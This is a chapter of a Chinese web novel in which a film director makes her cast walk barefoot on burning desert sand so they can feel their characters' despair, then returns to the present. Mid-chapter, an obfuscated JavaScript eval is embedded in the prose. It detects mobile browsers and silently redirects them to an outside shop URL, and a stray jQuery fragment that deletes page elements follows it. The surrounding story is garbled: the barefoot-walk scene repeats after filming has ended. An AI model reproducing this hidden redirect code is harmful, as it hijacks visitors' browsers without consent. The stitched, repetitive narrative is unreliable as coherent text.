腾格里沙漠的八月，是被烈日啃噬的炼狱。正午的日头悬在头顶，像一块烧红的烙铁，把空气烤得扭曲发烫，每一次呼吸都带着灼痛感，地表温度飙升到五十二度，踩在沙地上的运动鞋底，像要被烫化般黏腻发软。《荒原之诗》剧组驻扎在沙漠边缘的废弃治沙站，斑驳的土坯墙裂着手指宽的缝，屋顶的铁皮被风沙刮得锈迹斑斑，连风穿过缝隙的声音，都带着滚烫的燥意。
十五个人，七个演员，八个工作人员，挤在两间不足二十平米的土房里。所谓的大通铺，是铺在地上的破旧毡子，沾着厚厚的灰尘，男女之间只隔了一块褪色的蓝布帘子；吃的是李强每天开车二十公里去镇上买的土豆和白菜，一锅乱炖，油星都少得可怜，盐放得极重——不是口味偏好，是怕出汗太多缺盐中暑；水更是金贵，每人每天只有半瓶矿泉水，洗脸洗手全靠清晨的露水和沙地里的苦咸水，演员们脸上的防晒霜早就被汗水冲光，晒得通红脱皮。
上一章发布会的余波还没散，全网都在等着看他们的笑话，五大平台的嘲讽、圈内人的冷眼，像沙漠里的风沙，隔着千里万里，还是能吹进每个人心里。开机第一天，麻烦就来了。
下午两点，正是日头最毒的时候，原定拍女主角林野在荒原中奔逃的戏。演女主角周小雨的姑娘，刚从电影学院毕业，二十岁的年纪，脸上还带着青涩，第一次来沙漠，没撑过半小时就中暑了。她踉跄着摔倒在沙地上，被工作人员扶回土房时，脸色白得像纸，嘴唇干裂起皮，额头上的汗水顺着脸颊往下淌，砸在毡子上，晕开小小的湿痕。
“沈导，我撑不住了……”周小雨躺在简易床上，声音虚弱得像风中残烛，眼泪混着汗水往下掉，“太热了，太苦了，这里连口干净水都没有……我想回家，我不拍了。”她攥着沈小鱼的手，指尖冰凉，“剧本上说，林野被全世界背叛，在荒原里走投无路，那种绝望我演不出来！我没经历过，我只觉得难受，只想逃……”
旁边的几个演员也面露难色，站在角落不敢说话。演男二号的张磊偷偷摸出手机，屏幕上是经纪公司发来的消息：“实在撑不下去就回来，跟着沈小鱼拍烂戏，纯属自毁前程。”他咬了咬唇，眼神里满是犹豫——来之前他抱着赌一把的心态，可现在，沙漠的苦和全网的嘲讽，让他开始打退堂鼓。
沈小鱼蹲在床边，从帆布包里拿出仅存的半瓶矿泉水，拧开瓶盖，小心翼翼地给周小雨喂了两口，动作轻柔却坚定：“我知道你苦，也知道你怕。但我们来这里，不是为了享福的。下午这场戏，是林野的转折点，也是这部戏的根，不能改，也不能停。”
“可我演不出来啊！”周小雨哭得更凶，“我从小被爸妈宠着，没受过一点苦，我不懂什么是绝望，什么是走投无路……”
沈小鱼没再劝她，慢慢站起身，转身走出了土房。滚烫的风沙瞬间裹住她，洗得发白的白衬衫后背，很快就被汗水浸透，贴在皮肤上。她走到院子中央的空地上，停下脚步，弯腰，缓缓脱下运动鞋，又脱下袜子，露出一双布满薄茧的脚——那是常年跑剧组、踩过石子路、熬过雨戏冻过雪天留下的痕迹。
“沈导！您干什么？”李强第一个冲出来，惊呼出声，“沙子太烫了，会烫伤的！”
沈小鱼没回头，赤脚稳稳踩进沙地里。“滋”的一声轻响，滚烫的沙子像烧红的铁板，瞬间裹住她的脚掌，灼烧感顺着脚底往上窜，像无数根细针在扎，又像火在啃噬皮肤。她的身体猛地一僵，眉头紧紧皱起，额头上瞬间渗出细密的冷汗，顺着下颌线往下掉，砸在沙地上，瞬间就蒸发了。
但她没动，一步一步，缓慢却坚定地走到空地中央。脚下的沙子越来越烫，脚掌已经红得发亮，甚至能感觉到皮肤在发烫发麻，可她的脊背依旧挺直，像荒原上倔强的胡杨，迎着烈日风沙，不肯弯腰。
“都出来。”她转过身，声音不算大，却穿透了燥热的空气，清晰地传到每一个人耳朵里。
土房里的演员和工作人员面面相觑，最终还是一个个走了出来，站在屋檐下，看着空地上赤脚站立的沈小鱼，眼神里满是震惊和不安。周小雨也被人扶着，站在门口，看着沈小鱼通红的脚掌，眼泪掉得更凶了。
“脱鞋。”沈小鱼看着他们，语气平静，却带着不容置疑的力量。
没人动。张磊下意识地往后退了一步，脚下的沙子隔着鞋底都发烫，他不敢想象，赤脚踩上去会有多痛。
“脱鞋！”沈小鱼加重了语气，眼神凌厉如刀，“你们想演好林野，想演好荒原上的人，连这点苦都吃不了，连这种痛都不敢感受，凭什么站在这里？凭什么说自己是演员？”
周小雨咬了咬唇，第一个弯下腰，脱下了运动鞋和袜子。滚烫的沙子接触到她细嫩脚掌的瞬间，她疼得倒抽一口冷气，眼泪瞬间涌了上来，却死死咬着牙，没后退一步。有了第一个，剩下的演员也纷纷照做，七个年轻人，赤着脚站在沙地上，脸色痛苦，却没人再退缩。
“现在，感受脚下的温度。”沈小鱼缓缓开口，声音里带着一丝不易察觉的颤抖，却依旧坚定，“记住这种灼痛——像火烧，像针扎，像要把你的脚掌融化，像要把你的骨头烤碎。”她的目光落在周小雨身上，一字一句地说：“你演的林野，在荒原上走了三天三夜，没水，没食物，脚底磨出血泡，泡破了，血和沙子粘在一起，每走一步都像踩在刀尖上。她被爱人背叛，被族人抛弃，父亲的下落不明，全世界都在跟她作对。”
她顿了顿，想起三年前的自己——被资本封杀，被追债的人堵在巷子里，赤脚跑过石子路，脚底磨得血肉模糊，却还要赶去医院看病重的母亲。那种绝望和挣扎，像刻在骨子里的疤，此刻，全变成了引导演员的力量：“你现在觉得苦吗？热吗？想放弃吗？林野比你苦一万倍，比你痛一万倍。但她没放弃，因为她要活着，要找父亲，要讨一个公道。”
她又看向张磊，语气缓和了些：“你演的牧民，看着羊群被风沙卷走，看着家园被荒漠吞噬，看着爱人离你而去。那种无力感，那种绝望，不是皱皱眉头就能演出来的——是要像现在这样，踩着滚烫的沙子，感受着自己被这片土地反复撕扯，感受着绝望里那点不肯熄灭的火苗——那是活下去的执念，是角色藏在骨子里的韧劲。”
张磊猛地抬头，眼眶通红。他看着沈小鱼脚下沾着血珠的黄沙，看着她挺直的脊背，想起自己当初想当演员的初心——不是为了流量名利，是想演活那些有血有肉的人。他攥紧拳头，指甲深深嵌进掌心，先前的犹豫一点点褪去，取而代之的是坚定。
沈小鱼缓缓抬起脚，每动一下，脚掌的灼痛都像要钻进骨头里，可她的眼神依旧亮得惊人，像沙漠里唯一的星：“创作从来不是隔岸观火，不是站在安全区里想象痛苦。你们要把自己放进角色的命里，把角色的苦当成自己的苦，把角色的执念当成自己的执念。现在，跟着我走——像林野那样，像牧民那样，哪怕每一步都痛得发抖，哪怕眼前只有漫天风沙，也要往前走。”
她率先迈开脚步，赤脚踩在滚烫的黄沙上，每一步都留下一个带着血痕的脚印，很快就被呼啸的风沙浅浅覆盖，却又被她下一步坚定地踩过。周小雨咬着牙，抹掉脸上的眼泪和汗水，紧随其后，细嫩的脚掌被沙子磨得发红，她却死死憋着气，不肯发出一声痛呼。张磊和其他演员也跟了上来，七个身影，在空旷的沙地上，踩着灼人的黄沙，一步步往前走，脚步声被风沙淹没，却在每个人的心里，踩出了沉甸甸的回响。
烈日依旧毒辣，空气里的灼痛感越来越强，有人嘴唇干裂得渗出血丝，有人眼前开始发黑，却没有一个人停下脚步，没有一个人说要放弃。沈小鱼走在最前面，后背的衬衫早已被汗水浸透，紧紧贴在身上，勾勒出单薄却挺拔的轮廓，她时不时回头，看向身后的演员们，眼神里没有苛责，只有笃定的鼓励——她知道，他们正在一点点靠近角色，正在一点点守住作为创作者的初心。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965000|193092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不知走了多久，夕阳开始西斜，把天空染成一片滚烫的橘红，洒在沙漠上，让黄沙都泛着暖融融的光，地表的温度稍稍降了些，却依旧灼人。沈小鱼停下脚步，转过身，看着身后气喘吁吁却眼神明亮的演员们，嘴角露出一丝浅淡的笑容：“现在，告诉我，你们感受到了吗？感受到林野的绝望和倔强，感受到牧民的痛苦和坚守了吗？”
周小雨喘着气，脚下的疼痛还在蔓延，可她的眼里却没有了先前的怯懦，只剩下真切的感悟：“我感受到了……那种走投无路却又不肯认输的感觉，那种哪怕痛到极致，也想往前走的执念……”张磊也重重点头，声音沙哑却坚定：“我懂了，沈导。不是演绝望，是要活成绝望里的那束光。”
沈小鱼点点头，眼底泛起一丝暖意：“好。现在，我们开拍。”
没有多余的准备，没有精致的妆发，演员们赤着脚，顶着晒得通红的脸颊，站在漫天霞光里，开拍那场林野奔逃的戏。周小雨踉跄着奔跑在沙地上，脚下的疼痛让她的步伐带着真实的踉跄，眼里的绝望和倔强，不是刻意挤出的表情，是刻在骨子里的真切；张磊站在一旁，看着她的背影，眼里的痛苦和无力，仿佛他真的是那个失去家园和爱人的牧民。
摄像机缓缓转动，记录下这一切——夕阳、黄沙、奔跑的身影、眼底的光。没有华丽的特效，没有精致的场景，却有着最动人的力量。在场的工作人员都看呆了，连李强都忘了手里的道具，眼里满是动容。他们知道，这场戏，成了。
沈小鱼抬起脚，脚掌已经磨出了细密的血珠，沾着黄沙，触目惊心，可她的眼神依旧明亮：“现在，走起来。像林野一样，像牧民一样，哪怕每一步都痛，哪怕看不到希望，也要往前走。”
周小雨咬着牙，第一步踩下去，疼得浑身发抖，却还是跟着沈小鱼的脚步，慢慢往前走。张磊也红了眼眶，握紧拳头，一步步跟上。七个演员，赤着脚，在滚烫的沙地上，跟着沈小鱼，一步步往前走，脚印被风沙很快覆盖，却又被新的脚印踩出。汗水顺着他们的脸颊往下淌，滴在沙地上，瞬间蒸发，可没人再喊苦，没人再提放弃。
那场戏，他们拍了整整一下午，直到夕阳沉入沙漠尽头。周小雨跪在沙地上，望着远方的落日，眼里的绝望和倔强，精准地落在镜头里——那不是演的，是她踩着滚烫的黄沙，亲身感受到的。
收工后，李强拿着碘伏，蹲在地上给沈小鱼处理脚伤，看着她脚掌上的水泡和血痕，心疼得红了眼：“沈导，您这是何必呢？万一烫伤了，以后怎么拍戏？”
沈小鱼笑了笑，语气轻却坚定：“我不疼。比起能拍出好作品，这点伤算什么？比起林野经历的苦，我们这点痛，不值一提。”她看向远处正在互相处理伤口的演员们，眼底带着暖意，“创作从来都不是容易的事，没有捷径可走。要想让观众相信角色，首先要自己活成角色；要想做出好内容，就得耐得住寂寞，吃得了苦。”
恍惚间，办公桌上的老照片硌了硌掌心，沈小鱼猛地回神，夕阳依旧温暖，却再没有沙漠里那种灼人的滚烫。她轻轻抚摸着照片里母亲的笑脸，刚才回忆里的灼痛仿佛还残留在脚掌，那是属于《荒原之诗》的印记，是属于她沈小鱼的初心——从腾格里沙漠里赤脚前行的那一刻起，她就没怕过苦，没怕过难，更没怕过那些想把她拉下水的人。
之前在沙漠里，她能带着十五个人，在烈日风沙里守住创作的底线；现在，她有联盟，有学员，有新规则基金，有千千万万坚守原创的创作者，更没理由退缩。
“妈，我要走的路，可能很难，可能会有很多人挡着我，可能会受很多苦。但我会走下去，一直走下去。”
就像三年前在腾格里沙漠那样，哪怕脚下是滚烫的黄沙，哪怕前路是漫天的风沙，哪怕全世界都在等着看她的笑话，她也会一步一步，坚定地往前走。
“走到光里，走到所有阴霾都散去的地方，走到——我即规则的那一天。”